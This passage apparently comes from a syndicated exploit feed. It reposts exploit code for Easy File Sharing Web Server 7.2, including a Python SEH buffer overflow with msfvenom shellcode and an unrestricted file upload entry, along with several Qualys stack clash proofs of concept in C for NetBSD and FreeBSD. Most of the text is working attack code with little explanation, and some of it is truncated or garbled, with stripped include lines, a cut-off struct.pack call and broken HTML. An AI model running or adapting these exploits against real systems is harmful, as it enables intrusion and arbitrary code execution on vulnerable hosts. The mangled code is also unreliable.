my_argc, const char * const my_argv[]) { if (my_argc >= MIN_ARGC) { analyze_mappings(*my_argv); die(); } size_t stack_size = MAX_STACK_SIZE; if (my_argc == 2) stack_size = strtoul(my_argv[1], NULL, 0); else if (my_argc != 1) die(); if (stack_size > MAX_STACK_SIZE) die(); static char arg[MAX_ARG_STRLEN] = " "; memset(arg, ' ', sizeof(arg)-1); const size_t argc = 1 + stack_size / (sizeof(arg) + sizeof(char *)); if (argc < MIN_ARGC) die(); char ** const argv = calloc(argc + 1, sizeof(char *)); if (!argv) die(); char * const binary = realpath(*my_argv, NULL); if (!binary) die(); *argv = binary; size_t i; for (i = 1; i < argc; i++) argv[i] = arg; if (i != argc) die(); if (argv[i]) die(); for (i = 1; i; i++) { fprintf(stderr, "Run #%zu...\n", i); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { static const struct rlimit stack_limit = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &stack_limit)) die(); execve(*argv, argv, NULL); die(); } int status = 0; if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) == EXIT_SUCCESS) continue; if (WEXITSTATUS(status) != EXIT_FAILURE) die(); } die(); }
Categories: Exploits

Easy File Sharing Web Server 7.2 - Account Import Local Buffer Overflow (SEH)

SecurityLab.ru - Wed, 2017-06-28 23:54
#!/usr/bin/python ################################## # 2017/6/17 Chako # # EFS Web Server 7.2 - Local Buffer Overflow(SEH) # Tested on: Windows XP SP3 EN (DEP Off) # Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe # # Description: # When importing a large user account file on to EFS Web Server 7.2 # will trigger the vuln. ################################## import struct # msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python Shellcode = "" Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49" Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43" Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30" Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54" Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c" Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78" Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f" Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c" Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47" Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32" Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c" Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51" Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53" Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39" Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61" Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61" Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73" Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45" Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71" Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b" Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54" Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74" Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a" Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a" Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a" Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70" Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f" Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45" Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d" Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c" Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45" Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a" Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51" Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35" Shellcode += "\x77\x70\x41\x41" #SEH record (nseh field) at 0x0012b318 overwritten with normal pattern (offset 2563) Junk = "\x41" * 2563 nSEH = "\xEB\x0F\x90\x90" # 0x10012f3b : pop esi # pop ebx # ret | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll] # ASLR: False, Rebase: False, SafeSEH: False, OS: False SEH = struct.pack("
Categories: Exploits

Easy File Sharing Web Server 7.2 - Unrestricted File Upload

SecurityLab.ru - Wed, 2017-06-28 23:54
################################## # 2017/6/15 Chako # # EFS Web Server 7.2 Unrestricted File Upload # Vendor Homepage: http://www.sharing-file.com # Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe # Version: Easy File Sharing Web Server 7.2 # Tested on: WinXP SP3 ################################## EFS Web Server 7.2 allows unauthorized users to upload malicious files [Exploit] // action="http://target_host/disk_c/vfolders // // have to know the user name by Default "Admin" '); // --> '); // --> Description:
File:

[/Exploit]
Categories: Exploits

NetBSD - Stack Clash Proof of Concept

SecurityLab.ru - Wed, 2017-06-28 23:53
Categories: Exploits

FreeBSD - 'FGPU' Stack Clash Proof of Concept

SecurityLab.ru - Wed, 2017-06-28 23:52
/* * FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0) * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * last_page; static void clash(void) { for (;;) { const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page <= last_page) die(); if (page == MAP_FAILED) break; last_page = page; } if (!last_page) die(); } static void smash_no_jump(const size_t smash_size) { char buf[1024]; memset(buf, 'A', sizeof(buf)); if (smash_size > sizeof(buf)) smash_no_jump(smash_size - sizeof(buf)); } #define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */ int main(void) { static const struct rlimit core; if (setrlimit(RLIMIT_CORE, &core)) die(); clash(); smash_no_jump(SGROWSIZ / 2 * 3); printf("char at %p: %02x\n", last_page, *last_page); exit(EXIT_SUCCESS); }
Categories: Exploits

FreeBSD - 'FGPE' Stack Clash Proof of Concept

SecurityLab.ru - Wed, 2017-06-28 23:52
/* * FreeBSD_CVE-2017-FGPE.c for CVE-2017-1084 (please compile with -O0) * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * last_page; static void alloc(const char * const final) { for (;;) { last_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (last_page == MAP_FAILED) die(); if (last_page >= final) break; } } static void clash_smash_no_jump(const size_t smash_size) { char buf[1024]; memset(buf, 'A', sizeof(buf)); if (smash_size > sizeof(buf)) clash_smash_no_jump(smash_size - sizeof(buf)); } #define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */ int main(void) { static const struct rlimit core; if (setrlimit(RLIMIT_CORE, &core)) die(); struct rlimit stack; if (getrlimit(RLIMIT_STACK, &stack)) die(); const size_t smash_size = stack.rlim_cur / 3 * 2; const size_t final_dist = arc4random() % smash_size; alloc((const char *)&stack - final_dist); clash_smash_no_jump(smash_size); printf("char at %p: %02x; final dist %zu (%zu)\n", last_page, *last_page, final_dist % SGROWSIZ, final_dist); exit(EXIT_SUCCESS); }
Categories: Exploits

FreeBSD - 'setrlimit' Stack Clash Proof of Concept

SecurityLab.ru - Wed, 2017-06-28 23:51
/* * FreeBSD_CVE-2017-1085.c * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #include #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(const int argc, char * const argv[]) { static const struct rlimit core; if (setrlimit(RLIMIT_CORE, &core)) die(); struct rlimit stack; if (getrlimit(RLIMIT_STACK, &stack)) die(); if (stack.rlim_cur > stack.rlim_max / 3) { stack.rlim_cur = stack.rlim_max / 3; if (setrlimit(RLIMIT_STACK, &stack)) die(); execve(*argv, argv, NULL); die(); } char * prot_none = NULL; for (;;) { prot_none = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (prot_none == MAP_FAILED) die(); if ((uintptr_t)&stack < (uintptr_t)prot_none) die(); if ((uintptr_t)&stack - (uintptr_t)prot_none < stack.rlim_max / 3 * 2) break; } if (argc > 1) { stack.rlim_cur = stack.rlim_max; if (setrlimit(RLIMIT_STACK, &stack)) die(); } *prot_none = 'A'; printf("char at %p: %02x\n", prot_none, *prot_none); exit(EXIT_SUCCESS); }
Categories: Exploits
Syndicate content